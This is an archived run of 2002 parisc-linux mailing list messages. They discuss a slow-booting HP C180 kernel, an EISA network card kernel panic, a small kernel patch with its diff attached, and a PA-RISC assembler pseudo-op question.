National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 not booting Sarge kernel
Date: Thu, 21 Nov 2002 14:09:30 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <20021121220930.GF23152@maybe.net>
References: <20021121090154.GB23152@maybe.net> <Pine.LNX.4.44.0211210831370.23497-100000@wolf.alaskatech> <20021121090154.GB23152@maybe.net> <20021121135754.GA3811@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621953 17426 80.91.229.3 (22 Nov 2014 02:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 15:09:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with SMTP id E9CD4482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 15:09:34 -0700 (MST)
Original-Received: (qmail 16705 invoked by uid 1000); 21 Nov 2002 22:09:30 -0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0211210831370.23497-100000@wolf.alaskatech> <20021121135754.GA3811@systemhalted>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16882

On Thu, Nov 21, 2002 at 08:57:54AM -0500, Carlos O'Donell wrote:
> > FYI, my sarge-based C180 has not been able to boot 2.4.19-32_18 or _22.1;
> > I have to interact with IPL and fall back to 2.4.18_62.2. It gets as
> > far as the "...if this is the last message you see..." and I never hear
> > from it again, even on the network. And I think after a very very long
> > time, it falls back to firmware. At least, I see DHCP requests coming
> > out of it after a while. (I only just hooked up serial console to
> > interact with IPL after getting no response. No I don't boot it up too
> > often, it's a "side project".)
> 
> HP hardware is occasionally quirky :}
> 
> > Also, "uname -a" segfaults.
> 
> That bug got squashed in unstable. You'll see the fix soon.
>  
> > I'll try unplugging the GSC and EISA cards plugged into it tomorrow.
> > I'll also try letting it just sit there under supervision and see what
> > really happens.
> 
> Good idea :)
> If it doesn't work, get back to the list.

Well, after leaving 22.1 running, it does appear to come up after a
while. About 20 minutes. I am rather certain 18 never booted. Taking all
the expansion cards out does not make any difference.

After doing this, it occurred to me that maybe this was the bus walk
issue that I had ignored on the mailing list from a week ago. :-)

On Thu, Nov 21, 2002 at 08:34:38AM -0900, Tom wrote:
> "They" swear this has a fix in 2.5, but I just let it take it's time and
> all seems happy...

Well, we'll have to keep on them, eh? :-)

While I have somebody's attention: I have some EISA 3c597's that I'd
like to use in this machine. I carefully compile the kernel module with
the same parameters and install it and all I ever get is:

ryoko:~# modprobe 3c59x
3c59x: Donald Becker and others. www.scyld.com/network/vortex.html
3c59x: 3Com EISA 3c590 Vortex 10Mbps at 0x1000. Vers LK1.1.16

ccio-dma.c:638: Assertion dev failed!
Kernel panic: dev

Message from syslogd@ryoko at  Thu Nov 21 09:47:32 2002 ...
ryoko kernel: Kernel panic: dev

I don't get any kind of "HMPC" or register dump or anything else. Just
sits there and stops responding.

Is it ever possible that these cards would work in PA-RISC? They
certainly fit in the slot (;-)), and don't have any x86 code on them. Or
do I need to buckle down and buy a replacement backplane and go PCI?

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 not booting Sarge kernel
Date: Thu, 21 Nov 2002 22:42:18 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20021121224218.B13955@parcelfarce.linux.theplanet.co.uk>
References: <20021121090154.GB23152@maybe.net> <Pine.LNX.4.44.0211210831370.23497-100000@wolf.alaskatech> <20021121090154.GB23152@maybe.net> <20021121135754.GA3811@systemhalted> <Pine.LNX.4.44.0211210831370.23497-100000@wolf.alaskatech> <20021121220930.GF23152@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621954 17431 80.91.229.3 (22 Nov 2014 02:05:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Jantzen <chris-parisc@maybe.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 15:42:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 768F3482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 15:42:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18F01b-0001uY-00; Thu, 21 Nov 2002 22:42:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021121220930.GF23152@maybe.net>; from chris-parisc@maybe.net on Thu, Nov 21, 2002 at 02:09:30PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16883

On Thu, Nov 21, 2002 at 02:09:30PM -0800, Chris Jantzen wrote:
> While I have somebody's attention: I have some EISA 3c597's that I'd
> like to use in this machine. I carefully compile the kernel module with
> the same parameters and install it and all I ever get is:
> 
> ryoko:~# modprobe 3c59x
> 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html
> 3c59x: 3Com EISA 3c590 Vortex 10Mbps at 0x1000. Vers LK1.1.16
> 
> ccio-dma.c:638: Assertion dev failed!
> Kernel panic: dev
> 
> Message from syslogd@ryoko at  Thu Nov 21 09:47:32 2002 ...
> ryoko kernel: Kernel panic: dev

Yeah, so somebody needs to write the code that allows EISA devices to
do DMA back to the host ... I have the specs here, maybe I should write
them up and somebody else can write the code?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] small add patch from 2.4.19 not yet in 2.4.20
Date: Fri, 22 Nov 2002 10:44:57 +0100
Lines: 198
Approved: news@gmane.org
Message-ID: <3DB57761000044AF@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DB57761000044AF/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621954 17432 80.91.229.3 (22 Nov 2014 02:05:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.fr
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 02:45:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67C05482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 02:45:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18FAMt-0003Vd-00; Fri, 22 Nov 2002 10:44:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 22 Nov 2002 10:44:57 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16884

--=========3DB57761000044AF/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi Helge and all,

Here is some small diff file of some stuff found in 2.4.19-pa24 but not yet
in 2.4.20-rc1. I am not able to judge their importance so I submit it to
your attention.

=================================================================================
diff -Naur -x CVS -x .cvsignore -x '*.orig' -x math-emu linux-2.4.20-rc1-pa6/arch/parisc/kernel/syscall.S
linux-2.4.20-rc1-pa6t/arch/parisc/kernel/syscall.S
--- linux-2.4.20-rc1-pa6/arch/parisc/kernel/syscall.S	2002-08-07 07:43:26.000000000
+0200
+++ linux-2.4.20-rc1-pa6t/arch/parisc/kernel/syscall.S	2002-10-30 18:39:33.000000000
+0100
@@ -593,18 +593,11 @@
 	ENTRY_DIFF(ftruncate64)	/* 200 */
 	ENTRY_SAME(getdents64)
 	ENTRY_DIFF(fcntl64)
-#ifdef CONFIG_XFS_FS
-	ENTRY_SAME(attrctl)
-	ENTRY_SAME(acl_get)
-	ENTRY_SAME(acl_set)            /* 205 */
-#else
-	ENTRY_SAME(ni_syscall)
-	ENTRY_SAME(ni_syscall)
-	ENTRY_SAME(ni_syscall)	       /* 205 */
-#endif
-	ENTRY_SAME(gettid)             
+	ENTRY_SAME(ni_syscall)		/* attrctl */
+	ENTRY_SAME(ni_syscall)		/* acl_get */
+	ENTRY_SAME(ni_syscall)		/* acl_set */
+	ENTRY_SAME(gettid)
 	ENTRY_SAME(readahead)          
-	ENTRY_SAME(tkill)
 
 .end
 
diff -Naur -x CVS -x .cvsignore -x '*.orig' -x math-emu linux-2.4.20-rc1-pa6/drivers/char/hp_psaux.c
linux-2.4.20-rc1-pa6t/drivers/char/hp_psaux.c
--- linux-2.4.20-rc1-pa6/drivers/char/hp_psaux.c	2002-11-13 16:56:38.000000000
+0100
+++ linux-2.4.20-rc1-pa6t/drivers/char/hp_psaux.c	2002-11-01 19:25:48.000000000
+0100
@@ -197,7 +197,7 @@
 }
 #endif 
 
-static int init_keyb(unsigned long hpa)
+static int __init init_keyb(unsigned long hpa)
 {
 	int res = 0;
 	unsigned long flags;
diff -Naur -x CVS -x .cvsignore -x '*.orig' -x math-emu linux-2.4.20-rc1-pa6/drivers/net/pcnet32.c
linux-2.4.20-rc1-pa6t/drivers/net/pcnet32.c
--- linux-2.4.20-rc1-pa6/drivers/net/pcnet32.c	2002-11-13 16:58:23.000000000
+0100
+++ linux-2.4.20-rc1-pa6t/drivers/net/pcnet32.c	2002-11-01 21:30:18.000000000
+0100
@@ -45,7 +45,7 @@
 #include <linux/skbuff.h>
 #include <linux/spinlock.h>
 
-static const char version[] __devinitdata =
+static const char *version =
 DRV_NAME ".c:v" DRV_VERSION " " DRV_RELDATE " tsbogend@alpha.franken.de\n";
 
 /*
@@ -207,10 +207,10 @@
  *	   fix pci probe not increment cards_found
  *	   FD auto negotiate error workaround for xSeries250
  *	   clean up and using new mii module
- * v1.27b  Sep 30 2002 Kent Yoder <yoder1@us.ibm.com>
- * 	   Added timer for cable connection state changes.
- * v1.27c  Sat Apr 13 2002 Helge Deller <deller@gmx.de>
+ * v1.27b  Sat Apr 13 2002 Helge Deller <deller@gmx.de>
  * 	   typo-fixes & cleanups
+ * v1.27c  Sep 30 2002 Kent Yoder <yoder1@us.ibm.com>
+ * 	   Added timer for cable connection state changes.
  */
 
 
diff -Naur -x CVS -x .cvsignore -x '*.orig' -x math-emu linux-2.4.20-rc1-pa6/drivers/scsi/cpqfcTSstructs.h
linux-2.4.20-rc1-pa6t/drivers/scsi/cpqfcTSstructs.h
--- linux-2.4.20-rc1-pa6/drivers/scsi/cpqfcTSstructs.h	2002-11-18 09:10:31.000000000
+0100
+++ linux-2.4.20-rc1-pa6t/drivers/scsi/cpqfcTSstructs.h	2002-11-07 08:56:22.000000000
+0100
@@ -413,7 +413,9 @@
 } TachLiteERQ;
 
 // for now, just 32 bit DMA, eventually 40something, with code changes
-#define CPQFCTS_DMA_MASK 0xFFFFFFFFUL
+//#define CPQFCTS_DMA_MASK 0xFFFFFFFFUL
+#define CPQFCTS_DMA_MASK ((unsigned long) (0x00000000FFFFFFFF))
+
 
 #define TL_MAX_SG_ELEM_LEN 0x7ffff  // Max buffer length a single S/G entry
 				// may represent (a hardware limitation).  The
diff -Naur -x CVS -x .cvsignore -x '*.orig' -x math-emu linux-2.4.20-rc1-pa6/fs/exec.c
linux-2.4.20-rc1-pa6t/fs/exec.c
--- linux-2.4.20-rc1-pa6/fs/exec.c	2002-11-18 09:24:17.000000000 +0100
+++ linux-2.4.20-rc1-pa6t/fs/exec.c	2002-11-07 10:31:14.000000000 +0100
@@ -394,6 +394,7 @@
 		struct page *page = bprm->page[i];
 		if (page) {
 			bprm->page[i] = NULL;
+			mm->rss++;
 			put_dirty_page(current,page,stack_base);
 		}
 		stack_base += PAGE_SIZE;

=================================================================================

Thanks in advance,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be



--=========3DB57761000044AF/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="linux-2.4.20-rc1-pa6_mine.diff1"

ZGlmZiAtTmF1ciAteCBDVlMgLXggLmN2c2lnbm9yZSAteCAnKi5vcmlnJyAteCBtYXRoLWVtdSBs
aW51eC0yLjQuMjAtcmMxLXBhNi9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbC5TIGxpbnV4LTIu
NC4yMC1yYzEtcGE2dC9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbC5TCi0tLSBsaW51eC0yLjQu
MjAtcmMxLXBhNi9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbC5TCTIwMDItMDgtMDcgMDc6NDM6
MjYuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjQuMjAtcmMxLXBhNnQvYXJjaC9wYXJpc2Mv
a2VybmVsL3N5c2NhbGwuUwkyMDAyLTEwLTMwIDE4OjM5OjMzLjAwMDAwMDAwMCArMDEwMApAQCAt
NTkzLDE4ICs1OTMsMTEgQEAKIAlFTlRSWV9ESUZGKGZ0cnVuY2F0ZTY0KQkvKiAyMDAgKi8KIAlF
TlRSWV9TQU1FKGdldGRlbnRzNjQpCiAJRU5UUllfRElGRihmY250bDY0KQotI2lmZGVmIENPTkZJ
R19YRlNfRlMKLQlFTlRSWV9TQU1FKGF0dHJjdGwpCi0JRU5UUllfU0FNRShhY2xfZ2V0KQotCUVO
VFJZX1NBTUUoYWNsX3NldCkgICAgICAgICAgICAvKiAyMDUgKi8KLSNlbHNlCi0JRU5UUllfU0FN
RShuaV9zeXNjYWxsKQotCUVOVFJZX1NBTUUobmlfc3lzY2FsbCkKLQlFTlRSWV9TQU1FKG5pX3N5
c2NhbGwpCSAgICAgICAvKiAyMDUgKi8KLSNlbmRpZgotCUVOVFJZX1NBTUUoZ2V0dGlkKSAgICAg
ICAgICAgICAKKwlFTlRSWV9TQU1FKG5pX3N5c2NhbGwpCQkvKiBhdHRyY3RsICovCisJRU5UUllf
U0FNRShuaV9zeXNjYWxsKQkJLyogYWNsX2dldCAqLworCUVOVFJZX1NBTUUobmlfc3lzY2FsbCkJ
CS8qIGFjbF9zZXQgKi8KKwlFTlRSWV9TQU1FKGdldHRpZCkKIAlFTlRSWV9TQU1FKHJlYWRhaGVh
ZCkgICAgICAgICAgCi0JRU5UUllfU0FNRSh0a2lsbCkKIAogLmVuZAogCmRpZmYgLU5hdXIgLXgg
Q1ZTIC14IC5jdnNpZ25vcmUgLXggJyoub3JpZycgLXggbWF0aC1lbXUgbGludXgtMi40LjIwLXJj
MS1wYTYvZHJpdmVycy9jaGFyL2hwX3BzYXV4LmMgbGludXgtMi40LjIwLXJjMS1wYTZ0L2RyaXZl
cnMvY2hhci9ocF9wc2F1eC5jCi0tLSBsaW51eC0yLjQuMjAtcmMxLXBhNi9kcml2ZXJzL2NoYXIv
aHBfcHNhdXguYwkyMDAyLTExLTEzIDE2OjU2OjM4LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgt
Mi40LjIwLXJjMS1wYTZ0L2RyaXZlcnMvY2hhci9ocF9wc2F1eC5jCTIwMDItMTEtMDEgMTk6MjU6
NDguMDAwMDAwMDAwICswMTAwCkBAIC0xOTcsNyArMTk3LDcgQEAKIH0KICNlbmRpZiAKIAotc3Rh
dGljIGludCBpbml0X2tleWIodW5zaWduZWQgbG9uZyBocGEpCitzdGF0aWMgaW50IF9faW5pdCBp
bml0X2tleWIodW5zaWduZWQgbG9uZyBocGEpCiB7CiAJaW50IHJlcyA9IDA7CiAJdW5zaWduZWQg
bG9uZyBmbGFnczsKZGlmZiAtTmF1ciAteCBDVlMgLXggLmN2c2lnbm9yZSAteCAnKi5vcmlnJyAt
eCBtYXRoLWVtdSBsaW51eC0yLjQuMjAtcmMxLXBhNi9kcml2ZXJzL25ldC9wY25ldDMyLmMgbGlu
dXgtMi40LjIwLXJjMS1wYTZ0L2RyaXZlcnMvbmV0L3BjbmV0MzIuYwotLS0gbGludXgtMi40LjIw
LXJjMS1wYTYvZHJpdmVycy9uZXQvcGNuZXQzMi5jCTIwMDItMTEtMTMgMTY6NTg6MjMuMDAwMDAw
MDAwICswMTAwCisrKyBsaW51eC0yLjQuMjAtcmMxLXBhNnQvZHJpdmVycy9uZXQvcGNuZXQzMi5j
CTIwMDItMTEtMDEgMjE6MzA6MTguMDAwMDAwMDAwICswMTAwCkBAIC00NSw3ICs0NSw3IEBACiAj
aW5jbHVkZSA8bGludXgvc2tidWZmLmg+CiAjaW5jbHVkZSA8bGludXgvc3BpbmxvY2suaD4KIAot
c3RhdGljIGNvbnN0IGNoYXIgdmVyc2lvbltdIF9fZGV2aW5pdGRhdGEgPQorc3RhdGljIGNvbnN0
IGNoYXIgKnZlcnNpb24gPQogRFJWX05BTUUgIi5jOnYiIERSVl9WRVJTSU9OICIgIiBEUlZfUkVM
REFURSAiIHRzYm9nZW5kQGFscGhhLmZyYW5rZW4uZGVcbiI7CiAKIC8qCkBAIC0yMDcsMTAgKzIw
NywxMCBAQAogICoJICAgZml4IHBjaSBwcm9iZSBub3QgaW5jcmVtZW50IGNhcmRzX2ZvdW5kCiAg
KgkgICBGRCBhdXRvIG5lZ290aWF0ZSBlcnJvciB3b3JrYXJvdW5kIGZvciB4U2VyaWVzMjUwCiAg
KgkgICBjbGVhbiB1cCBhbmQgdXNpbmcgbmV3IG1paSBtb2R1bGUKLSAqIHYxLjI3YiAgU2VwIDMw
IDIwMDIgS2VudCBZb2RlciA8eW9kZXIxQHVzLmlibS5jb20+Ci0gKiAJICAgQWRkZWQgdGltZXIg
Zm9yIGNhYmxlIGNvbm5lY3Rpb24gc3RhdGUgY2hhbmdlcy4KLSAqIHYxLjI3YyAgU2F0IEFwciAx
MyAyMDAyIEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4KKyAqIHYxLjI3YiAgU2F0IEFwciAx
MyAyMDAyIEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4KICAqIAkgICB0eXBvLWZpeGVzICYg
Y2xlYW51cHMKKyAqIHYxLjI3YyAgU2VwIDMwIDIwMDIgS2VudCBZb2RlciA8eW9kZXIxQHVzLmli
bS5jb20+CisgKiAJICAgQWRkZWQgdGltZXIgZm9yIGNhYmxlIGNvbm5lY3Rpb24gc3RhdGUgY2hh
bmdlcy4KICAqLwogCiAKZGlmZiAtTmF1ciAteCBDVlMgLXggLmN2c2lnbm9yZSAteCAnKi5vcmln
JyAteCBtYXRoLWVtdSBsaW51eC0yLjQuMjAtcmMxLXBhNi9kcml2ZXJzL3Njc2kvY3BxZmNUU3N0
cnVjdHMuaCBsaW51eC0yLjQuMjAtcmMxLXBhNnQvZHJpdmVycy9zY3NpL2NwcWZjVFNzdHJ1Y3Rz
LmgKLS0tIGxpbnV4LTIuNC4yMC1yYzEtcGE2L2RyaXZlcnMvc2NzaS9jcHFmY1RTc3RydWN0cy5o
CTIwMDItMTEtMTggMDk6MTA6MzEuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjQuMjAtcmMx
LXBhNnQvZHJpdmVycy9zY3NpL2NwcWZjVFNzdHJ1Y3RzLmgJMjAwMi0xMS0wNyAwODo1NjoyMi4w
MDAwMDAwMDAgKzAxMDAKQEAgLTQxMyw3ICs0MTMsOSBAQAogfSBUYWNoTGl0ZUVSUTsKIAogLy8g
Zm9yIG5vdywganVzdCAzMiBiaXQgRE1BLCBldmVudHVhbGx5IDQwc29tZXRoaW5nLCB3aXRoIGNv
ZGUgY2hhbmdlcwotI2RlZmluZSBDUFFGQ1RTX0RNQV9NQVNLIDB4RkZGRkZGRkZVTAorLy8jZGVm
aW5lIENQUUZDVFNfRE1BX01BU0sgMHhGRkZGRkZGRlVMCisjZGVmaW5lIENQUUZDVFNfRE1BX01B
U0sgKCh1bnNpZ25lZCBsb25nKSAoMHgwMDAwMDAwMEZGRkZGRkZGKSkKKwogCiAjZGVm
aW5lIFRMX01BWF9TR19FTEVNX0xFTiAweDdmZmZmICAvLyBNYXggYnVmZmVyIGxlbmd0aCBhIHNp
bmdsZSBTL0cgZW50cnkKIAkJCQkvLyBtYXkgcmVwcmVzZW50IChhIGhhcmR3YXJlIGxpbWl0YXRp
b24pLiAgVGhlCmRpZmYgLU5hdXIgLXggQ1ZTIC14IC5jdnNpZ25vcmUgLXggJyoub3JpZycgLXgg
bWF0aC1lbXUgbGludXgtMi40LjIwLXJjMS1wYTYvZnMvZXhlYy5jIGxpbnV4LTIuNC4yMC1yYzEt
cGE2dC9mcy9leGVjLmMKLS0tIGxpbnV4LTIuNC4yMC1yYzEtcGE2L2ZzL2V4ZWMuYwkyMDAyLTEx
LTE4IDA5OjI0OjE3LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjIwLXJjMS1wYTZ0L2Zz
L2V4ZWMuYwkyMDAyLTExLTA3IDEwOjMxOjE0LjAwMDAwMDAwMCArMDEwMApAQCAtMzk0LDYgKzM5
NCw3IEBACiAJCXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFnZVtpXTsKIAkJaWYgKHBhZ2Up
IHsKIAkJCWJwcm0tPnBhZ2VbaV0gPSBOVUxMOworCQkJbW0tPnJzcysrOwogCQkJcHV0X2RpcnR5
X3BhZ2UoY3VycmVudCxwYWdlLHN0YWNrX2Jhc2UpOwogCQl9CiAJCXN0YWNrX2Jhc2UgKz0gUEFH
RV9TSVpFOwogCg==

--=========3DB57761000044AF/mail.tiscali.be--


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa-risc assembler
Date: Fri, 22 Nov 2002 04:11:36 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <CB813811CBF6D3118DCC00902740BB4A0B8665D5@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621955 17434 80.91.229.3 (22 Nov 2014 02:05:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 05:12:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 826AD482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 05:12:10 -0700 (MST)
Original-Received: from xparelay1.ptp.hp.com (xparelay1.ptp.hp.com [15.1.28.62])
	by palrel12.hp.com (Postfix) with ESMTP id 06BAFE0075F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 04:12:06 -0800 (PST)
Original-Received: from xpabh4.ptp.hp.com (xpabh4.ptp.hp.com [15.1.28.64])
	by xparelay1.ptp.hp.com (Postfix) with ESMTP id 2A8EFE000AE
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 04:11:49 -0800 (PST)
Original-Received: by xpabh4.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <VVTP8L72>; Fri, 22 Nov 2002 04:11:39 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16885

Hi people,

	I would like to know about usage of .subspa, because I am converting
some asm sourcecodes in hp-ux to linux.
	When iI will try to compile the source code with "cc --hppa-linux
-std=iso9899:1990 -march=2.0 -mpa-risc-2-0 -D__KERNEL__ -I../../include -I.
-c -o myfile.o myfile.s, the result is always" the same "Error: unknown
pseudo-op: `.subspa'".
	Why this happens?

Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852
FAX +55-51-3316-2754 Mobile +55-51-9965-8020





From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pa-risc assembler
Date: Fri, 22 Nov 2002 08:14:55 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20021122161455.GI21187@tausq.org>
References: <CB813811CBF6D3118DCC00902740BB4A0B8665D5@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
